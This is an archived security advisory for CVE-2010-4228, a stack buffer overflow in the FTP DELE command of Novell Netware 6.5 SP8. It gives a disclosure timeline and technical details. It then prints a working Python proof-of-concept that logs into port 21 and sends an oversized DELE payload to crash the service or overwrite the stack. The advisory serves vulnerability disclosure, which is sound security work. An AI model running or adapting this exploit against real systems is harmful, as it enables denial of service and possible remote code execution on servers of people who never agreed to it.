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Novell Netware 6.5 SP8 Remote Code Execution

Novell Netware 6.5 SP8 Remote Code Execution
Posted Mar 22, 2011
Authored by Francis Provencher

Novell Netware version 6.5 SP8 suffers from a NWFTPD.NLM DELE remote code execution vulnerability. Proof of concept code is included.

tags | exploit, remote, code execution, proof of concept
advisories | CVE-2010-4228
SHA-256 | e6b5b9754b88906fa5415e298f3ba6595aaf3cdb4b2fdf89f8dcf1a68b8e91be

Novell Netware 6.5 SP8 Remote Code Execution

Change Mirror Download
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Application: Novell Netware NWFTPD.NLM DELE Remote Code Execution Vulnerability

Platforms: Novell Netware 6.5 SP8

Exploitation: Remote code execution

CVE Number: CVE-2010-4228

Novell TID: 5089510

ZDI: ZDI-11-106

{PRL}: 2011-05

Author: Francis Provencher (Protek Research Lab's)

Website: http://www.protekresearchlab.com/

Twitter: @ProtekResearch


#####################################################################################

1) Introduction
2) Timeline
3) Technical details
4) PoC


#####################################################################################

===============
1) Introduction
===============

Novell, Inc. is a global software and services company based in Waltham, Massachusetts.
The company specializes in enterprise operating systems, such as SUSE Linux Enterprise
and Novell NetWare; identity, security, and systems management solutions; and
collaboration solutions, such as Novell Groupwise and Novell Pulse.

Novell was instrumental in making the Utah Valley a focus for technology and software
development. Novell technology contributed to the emergence of local area networks,
which displaced the dominant mainframe computing model and changed computing worldwide.
Today, a primary focus of the company is on developing open source software for
enterprise clients.

(http://en.wikipedia.org/wiki/Novell)

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============================
2) Timeline
============================

2010-09-22 - Vulnerability reported to vendor
2011-03-18 - Coordinated public release of advisory

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============================
3) Technical details
============================

This vulnerability allows remote attackers to execute arbitrary code on vulnerable
installations of Novell Netware. Authentication is required to exploit this vulnerability.
The flaw exists within NWFTPD.NLM. When handling the argument provided to the DELE command
the application copies user supplied data to a fixed length stack buffer.
A remote attacker can exploit this vulnerability to execute arbitrary code under the
context of the super user.

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===========
4) The Code
===========



#!/usr/bin/python

import socket, sys

# Source:
# http://www.protekresearchlab.com/index.php?option=com_content&view=article&id=25&Itemid=25

host = (sys.argv[1])
data = "\x44\x45\x4c\x45\x20\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x43\x43\x43\x43\x43\x43\x43\x43\x43\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x45\x45\x45\x45\x45\x45\x46\x46\x46\x46\x47\x47\x47\x47\x48\x48\x44\x43\x42\x41\x0d\x0a"


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
s.connect((host, 21))
d=s.recv(1024)
print (d)
s.send("USER toto\r\n") #anonymous login so anything goes
d=s.recv(1024)
print (d)
s.send("PASS toto\r\n")
d=s.recv(1024)
print (d)
s.send(data)
d=s.recv(1024)
print (d)
s.close()

try:
s.connect((host,21))
except:
print ("\r\n[i] Beep Beep, take a look to your Abend log file.")
except:
print ("[i] Error")




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